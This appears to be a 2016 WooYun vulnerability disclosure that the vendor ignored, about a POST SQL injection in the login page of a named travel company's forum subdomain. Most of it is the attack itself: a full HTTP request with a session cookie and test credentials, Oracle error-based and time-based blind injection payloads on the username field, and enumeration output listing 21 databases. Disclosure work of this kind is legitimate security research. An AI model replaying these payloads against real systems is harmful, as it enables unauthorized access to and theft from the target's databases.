2016-01-25： 细节已通知厂商并且等待厂商处理中 2016-01-30： 厂商已经主动忽略漏洞，细节向公众公开
RT
分站后台POST注入
http://bbs.cits.com.cn/easoa/themes/mskin/login/login.jsp
POST /easoa/login/kingdee_sso_auth.jsp HTTP/1.1Host: bbs.cits.com.cnContent-Length: 98Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://bbs.cits.com.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://bbs.cits.com.cn/easoa/themes/mskin/login/login.jspAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=rGQBLx7SVqRWpP6W6GBgz0f7kDtsPgXF2UcA; userClose=0j_mode=static&j_locale=zh_CN&j_username=liuchao&j_password=123456&Submit3=%E7%99%BB%C2%A0%E5%BD%95
---Parameter: j_username (POST) Type: error-based Title: Oracle AND error-based - WHERE or HAVING clause (XMLType) Payload: j_mode=static&j_locale=zh_CN&j_username=liuchao') AND 5972=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(107)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (5972=5972) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(120)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ('RrwV'='RrwV&j_password=123456&Submit3=%E7%99%BB%C2%A0%E5%BD%95 Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: j_mode=static&j_locale=zh_CN&j_username=liuchao') AND 1043=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(110)||CHR(82)||CHR(79),5) AND ('Apfd'='Apfd&j_password=123456&Submit3=%E7%99%BB%C2%A0%E5%BD%95---web server operating system: Linuxweb application technology: Servlet 2.5, JSP, JSP 2.1back-end DBMS: Oracleavailable databases [21]:[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EAS1102[*] EAS1109[*] EAS1116[*] EAS70[*] EAS70TEST[*] EXFSYS[*] MDSYS[*] OADB[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] WMSYS[*] XDB
共21个库20999个表
过滤
危害等级：无影响厂商忽略
忽略时间：2016-01-30 17:30
漏洞Rank：4 (WooYun评价)
暂无
